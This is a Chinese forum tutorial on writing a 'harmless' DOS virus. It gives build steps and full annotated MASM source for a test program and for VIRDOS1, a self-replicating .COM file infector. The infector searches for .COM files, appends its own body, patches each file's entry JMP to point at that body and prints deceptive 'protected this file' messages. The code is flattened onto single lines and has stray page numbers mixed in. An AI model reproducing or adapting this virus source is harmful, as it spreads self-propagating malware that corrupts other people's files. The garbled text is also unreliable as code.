| 关键词: nbsp 文件 MOV COM 病毒 INT 地址 偏移 长度 字节 |
[原创]简单无害的DOS病毒编写文章作者:luojijie信息来源:邪恶八进制信息安全团队注意:转载文章请保持文章的完整性 保留作者的名字===========BEGIN OF LJ.ASM============请在DOS下用MASM 5.O编译,然后用LINK.EXE连接.最后用EXE2BIN连接成.COM文件,格式如下:C:\>MASM LJ.ASM 生成.OBJ文件及.LST文件C:\>LINK LJ.OBJ 生成.EXE文件C:\>EXE2BIN LJ.EXE LJ.COM即生成LJ.COM文件,然后即可直接运行,该程序无任何目的,只用于被病毒感染调试用,可直接运行,格式如下:C:>LJ .19.原程序如下:SEG_A SEGMENT BYTE PUBLIC ASSUME CS:SEG_A, DS:SEG_A ORG 100HLJJ2 PROC FARSTART: JMP REAL_STARTREAL_START: NOP NOP NOP MOV AH,4CH INT 21H LJJ2 ENDPSEG_A ENDS end start=============BEGIN OF VIRDOS1.ASM============(.COM文件病毒)(1)请在DOS下用MASM 5.O编译,然后用LINK.EXE连接.最后用EXE2BIN连接成.COM文件,格式如下:C:\>MASM VIRDOS1.ASM 生成.OBJ文件及.LST文件C:\>LINK VIRDOS1.OBJ 生成.EXE文件C:\>EXE2BIN VIRDOS1.EXE VIRDOS1.COM即生成VIRDOS1.COM文件,然后即可运行,先看一个调试程序LJ.COM的字节数(如10个字节长度) 运行格式如下:C:>VIRDOS1 LJ.COM在DOS下运行上述命令后即可看到LJ.COM文件字节变长,这就是LJ.COM被病毒VIRDOS1.COM第一次感染后的结果.我们可以用COPY命令复制一个同LJ.COM(如10个字节长度)原程序一样的程序(未被病毒感染的程序),叫LJ1.COM吧!被病毒感染的LJ.COM在DOS下运行的格式:C:>LJ.COM运行过后我们再查看LJ1.COM文件长度是否变长了,是的话即LJ1.COM也被病毒感染了.;本程序调试请使用TR或DEBUGGoHead MACRO MOV AX,4200H ;移动文件指针至文件头 XOR CX,CX XOR DX,DX INT 21H ENDM GoTail MACRO MOV AX,4202H ;移动文件指针至文件尾 XOR CX,CX XOR DX,DX INT 21HENDMCODE SEGMENT ORG 100H ASSUME CS:CODE;DS:CODE START: JMP INIZ ;无条件转到INIZ(目的执行病毒释放程序)BEGIN:JMP START1 ;执行病毒第一条指令FN DB '*.COM',0 ;用于搜索所有.COM文件的伪定义COM_SH_LEN DW 0000H ;用于目的文件长度的伪定义(因为病毒加载目的文件时要;计算目的文件长度)ENDCDE DB 0OPENMSG DB '***OPEN ERROR ***',0DH,0AH ;第一次想要释放病毒时打开目的文件错误 FTYPE DB 0 HDI DW 0 .22. QQ DW 0 KT DW 0 LEN DD 0 BUF DB 1024 DUP(0) ;缓冲区1024字节; STR DB 0DH,0AH,"NO -MATCH! $" STR1 DB 0DH,0AH,"FOUND DABIVIRUS,KILLED!$" ;STR2 DB 0DH,0AH,"FOUND DABIVIUFS IN MEMORY RDBOOT WITHNO-VIRUS! $" BUT DW 0000HCOM_HANDLE DW 0000H ;文件句柄INT13H DD 0000H ;中断13的存储地址INT21H DD 0000H ;中断21的存储地址INT2FH DD 0000H ;中断2F的存储地址JJ DW 0000H CURRENT_INT DD 3 DUP(0) TF DB 2 DUP(0)COM_BUF DB 0E9H,0,0COM_BU DB 3 DUP(0)HEAD1 DB 10 DUP(0)HEAD7 DB 7 DUP(0)HEAD3 DB 3 DUP(0)READ_BUF DB 10 DUP(0)HEAD2 DB 10 DUP(0)COM_MSG DB 0AH,0DH DB "Notice Ifound Unknow Virus.." db 0AH,0DH DB "Now,I kill it" DB 0AH,0DH,'$' LJG DB 0AH,0DH DB "I cat not write back file" DB 0AH,0DH,'$'START1:MOV AH,30H 取DOS版本 INT 21H CMP BL,5BH 是5.0版吗,不是转NEXT JNZ NEXT ; LEA DX,STR2+7 JMP EXIT7 ;无条件转EXIT7NEXT: MOV BL,DS:[80H] ;取.COM文件80H缓冲区.(80H区作用请参考本书其他章节) OR BL,BL ;BL或运算; JNZ NEXT1 JMP NEXT1 ;转NEXT1NEXT1:XOR BH,BH ;BH或运算 .23.MOV BYTE PTR [BX+81],0 ;[BX+81]单元置0 MOV SI,81H ;SI=81HLOOP1:LODSB CMP AL,20H ;SI是否为空格,相等转LOOP1,不相等SI=SI-JZ LOOP1DEC SILEA DI,FN+[DI] ;DI=文件被病毒感染后的(*.COM)字符 PUSH BX; PUSH DIMOV CX,BX ;不为0时重复传送指令REPNZ MOVSB XOR CX,CX ;取被病毒感染后0101单元内容,该内容记载病毒程序的入口位置 MOV DI,101H MOV BX,[DI]LEA DX,FN+[BX] ;被病毒感染后.COM字符的正确位置MOV CX,0MOV AH,4EH ;搜索.COM文件INT 21HLOOP2:JNC NEXT2 ;没错转NEXT2JMP EXITENEXT2:MOV DI,00HMOV BP,0101HMOV DI,[BP] ;取被病毒感染后0101单元内容,该内容记载病毒程序的入口位置送DIPUSH DIXOR CX,CX; LEA SI,READ_BUF+[DI] LEA SI, HEAD3+[DI] ;恢复被病毒感染后原文件第一条指令,以便文件能正常运行 MOV DI,100H MOV CX,3 CLD REP MOVSBPOP DIMOV AH,2FH INT 21H PUSH ES ;设置磁盘传送地址 POP DS ADD BX,1EH PUSH BX; POP DI ;计算BX在80区的正确位置 POP DX .24.CALL SCAN ;调用搜索模块,成功转YY JNC YY JMP EXITEYY: MOV AH,4FH ;搜索下一个.COM文件 INT 21H JC EXIT7 JMP LOOP2EXIT7:JMP DI ;转0100H继续执行原文件SCAN PROC NEAR ;搜索.COM文件模块MOV SI,DX ;SI=DX; POP DIMOV BP,DI ;BP=DIPUSH BP ;BP入栈CALL DISP ;调用显示字母(文件名.COM)字符模块CLD ;去方向LP1:LODSB ;装入AL CMP AL,'.' ;比较是否为”.”字符 JZ SL ;相等转SL CMP AL,0 ;比较是否为0,不相等转LP1 JNZ LP1 JMP EXITSSL:LES AX,[SI] ;将SI的单元内容送AX,SI+2=ES的单元内容送BX MOV BX,ES CMP AX,4F43H ;比较是否为CO字符JNZ EXITS ;不相等转EXITSCMP BL,4DH ; 比较是否为M字符JNZ EXITS ;不相等转EXITSJMP GOKILL ;转GOKILLGOKILL:CALL KILL ;调用感染模块EXITE: XOR AX,AXXOR BX,BXXOR DX,DX ;寄存器清0,并转0100H执行原文件XOR SI,SIMOV DI,0100HJMP DIEXITS:RETSCAN ENDPKILL PROC NEARMOV AX,3D02H ;读写打开文件INT 21H ;打开目标文件的.COM文件,准备感染(目标文件的意思是正在运行的文件JNC COM ;如A.COM打开另一个B.COM文件 .25.JMP EXITKCOM:MOV BX,AX;MOV DI,00H;MOV BP,0101H;MOV DI,[BP] MOV AX,4200H XOR CX,CX ;移动文件指针至文件头 MOV DX,0 INT 21HMOV CX,3LEA DX,COM_BUF+[DI] ;读文件头三个字节入正在运行的文件COM_BUF+[DI]偏移地址MOV AH,3FH ;处INT 21H;JMP COM1 MOV AX,4200H XOR CX,CX MOV DX,0 ;移动文件指针至文件头 INT 21HMOV CX,3LEA DX,HEAD3+[DI] ;读文件头三个字节入正在运行的文件HEAD3+[DI]偏移地址处MOV AH,3FHINT 21HJMP COM1 ;转COM1COM1:MOV AL,COM_BUF+[DI] ;比较目标文件0100H处是否为此0E9H(即JMP) CMP AL,0E9H ;是的话转COM2准备感染 JZ COM2 JMP EXITR COM2: GoTail ;移动文件指针至文件尾 MOV WORD PTR [COM_SH_LEN+[DI]] ,AX ;目标文件长度送[COM_SH_LEN+[DI]]的偏移地址处 ADD AX,0FFFDH ;AX=目标文件长度-2 MOV WORD PTR [COM_BUF+1+[DI]],AX ;送入[COM_BUF+[DI]] PUSH AX ;AX入栈; MOV WORD PTR [TF+[DI]],AX LEA DX, BEGIN+[DI] ;将BEGIN+[DI]偏移地址送DX MOV CX,063DH ;写病毒CX=063DH(H为十六进制)入目标文件; ADD WORD PTR COM_SH_LEN+[BP],CX MOV AH,40H INT 21H JMP HLHL: .26.MOV AX,4200H XOR CX,CX ;移动文件指针至0101H处 MOV DX,1 INT 21H POP AX ;AX出栈(AX=目标文件长度-2)MOV WORD PTR KT+[DI],AX ;送入KT+[DI]偏移地址处MOV AH,40HLEA DX,KT+[DI] ;写2个字节入0101H处,目的是目标文件被病毒感染后第一条指令 MOV CX,2 ;被修改成(JMP 后加病毒入口地址) INT 21H JMP EXITREXITR:MOV AH,3EH ;关闭文件INT 21HEXITK:RET ;返回调用处KILL ENDPDISP PROC NEAR PUSH SI MOV AL,0DH MOV AH,0EH INT 10H MOV AL,0AH ;显示字符模块,搜索时显示(文件名.COM) MOV AH,0EH INT 10H CLDDD1:LODSB CMP AL,0 JZ EXITD MOV AH,0EH INT 10H JMP DD1EXITD:POP SI RETDISP ENDPINIZ:MOV AX,3513HINT 21HMOV WORD PTR INT13H,BX ;取中断13向量地址送入;INT13H,INT13H+2MOV WORD PTR [INT13H+2],ES ;偏移地址处MOV AX,3521HINT 21HMOV WORD PTR INT21H,BX ;取中断21向量地址送入INT21H,INT21H+2偏移地址处MOV WORD PTR [INT21H+2],ES .27.MOV AX,352FHINT 21HMOV WORD PTR INT2FH,BX ;取中断2F向量地址送入INT2FH,INT2FH+2偏移地址处MOV WORD PTR [INT2FH+2],ESPUSH DS ;DS=ES POP ESMOV SI,082H ;SI=082H MOV DI,OFFSET PATH ;DI=PATH单元CLD ;去方向MOVE: CMP BYTE PTR DS:[SI],0DH ;比较是否有回车键 JE CON4 ;相等转CON4 MOVSB ;不相等重复传送字节 JMP MOVE ;无条件转MOVE CON4:XOR AL,ALMOV ES:[DI],AL ;PATH偏移地址送DX MOV DX,OFFSET PATH ;按路径打开文件名(格式为原文件名 目的文件名)MOV AX,3D02H ;准备第一次感染INT 21HJNC CONTINUE ;打开成功转CONTINUEJMP OPEN_ERRORCONTINUE: MOV DS:HANDLE,AX ;文件句柄送DS:HANDLE,BX MOV BX,AX GoHead ;移动文件指针至文件头 MOV BX,DS:HANDLE MOV AH,3FH MOV DX,OFFSET READ_BUF ;读文件头10个字节入READ_BUF MOV CX,10 INT 21H MOV SI,OFFSET READ_BUF MOV DI,OFFSET HEAD3 ;三个送HEAD3地址偏移处 MOV CX,3 CLD REP MOVSB MOV CX,7 MOV DI,OFFSET HEAD7 ;七个送HEAD7 REP MOVSB GoTail ;移动文件指针至文件尾 MOV WORD PTR COM_SH_LEN,AX ;AX=目标文件长度-2 ADD AX,0FFFDH MOV WORD PTR [COM_BUF+1],AX .28.ADD AX,0FFFEH ;AX=目标文件长度-3 MOV WORD PTR BUT,AX ;送入BUT偏移地址 MOV DX,OFFSET BEGIN MOV CX,OFFSET INIZ ;计算INIZ-BEGIN地址单元中长度送CX,即计算病毒长度-3 SUB CX,OFFSET BEGIN ADD WORD PTR COM_SH_LEN,CX ;写病毒程序入目标文件(长度=CX) MOV AH,40H INT 21H GoHead ;移动文件指针至文件头 MOV DX,OFFSET COM_BUF MOV CX,3 ;写三个字节COM_BUF处内容写入目标文件头 MOV AH,40H INT 21H MOV AH,3EH ;关闭文件 INT 21H MOV AH,09H MOV DX,OFFSET MSG2 INT 21HJMP EXITOPEN_ERROR: MOV AH,09H MOV DX,OFFSET MSG1 INT 21HEXIT:MOV AH,4CH ;结束并返回DOS INT 21HPATH DB 62 DUP(0) ;文件路径用的缓冲区MSG1 DB 0DH,0AH,"File can not open!$"MSG2 DB "Now I have pritected this file.$"HANDLE DW 0000H ;文件句柄用CODE ENDSEND START |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|